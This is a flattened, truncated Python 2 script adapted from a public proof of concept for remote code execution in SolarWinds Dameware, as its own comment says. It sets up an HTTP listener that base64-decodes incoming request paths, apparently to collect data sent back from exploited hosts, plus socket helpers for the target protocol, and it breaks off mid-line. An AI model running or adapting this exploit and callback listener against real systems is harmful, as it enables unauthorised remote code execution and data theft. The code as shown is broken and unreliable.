import sys, socket, os,string, binascii, argparse from struct import * from Crypto.Cipher import AES from Crypto.Hash import HMAC,SHA512 from Crypto.Protocol import KDF from Crypto.Signature import PKCS1_v1_5 from Crypto.PublicKey import RSA import SimpleHTTPServer import SocketServer import os import threading import time import logging import urlparse import base64 try: from http.server import HTTPServer, SimpleHTTPRequestHandler # Python 3 except ImportError: from SimpleHTTPServer import BaseHTTPServer HTTPServer = BaseHTTPServer.HTTPServer from SimpleHTTPServer import SimpleHTTPRequestHandler PORT = 8000 #Handler = SimpleHTTPServer.SimpleHTTPRequestHandler class GetHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): #logging.error(self.headers) parsedParams = urlparse.urlparse(self.path) if os.access('.' + os.sep + parsedParams.path, os.R_OK): # File exists, serve it up SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self); else: try: newstr = self.path newstr1 = newstr.strip("/") print newstr1 newstr2 = base64.b64decode(newstr1) print newstr2 except: print "Not base64" #SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self) Handler = GetHandler httpd = SocketServer.TCPServer(("", PORT), Handler) thread = threading.Thread(target = httpd.serve_forever) thread.daemon = True thread.start() time.sleep(10) def fin(): s.shutdown(socket.SHUT_RDWR) #source https://raw.githubusercontent.com/tenable/poc/master/Solarwinds/Dameware/dwrcs_dwDrvInst_rce.py # Got it from the Internet def hexdump(src, length=16): DISPLAY = string.digits + string.letters + string.punctuation FILTER = ''.join(((x if x in DISPLAY else '.') for x in map(chr, range(256)))) lines = [] for c in xrange(0, len(src), length): chars = src[c:c+length] hex = ' '.join(["%02x" % ord(x) for x in chars]) if len(hex) > 24: hex = "%s %s" % (hex[:24], hex[24:]) printable = ''.join(["%s" % FILTER[ord(x)] for x in chars]) lines.append("%08x: %-*s %s\n" % (c, length*3, hex, printable)) return ''.join(lines) def dump(title, data): print '--- [ %s ] --- ' % (title) print hexdump(data) def recvall(sock, n): data = '' while len(data) < n: packet = sock.recv(n - len(data)) if not packet: return None data += packet return data def xrecv(sock): data = '' # Read 0xc-byte header data = recvall(sock, 0xc) # Parse header (type, unk, size) = unpack('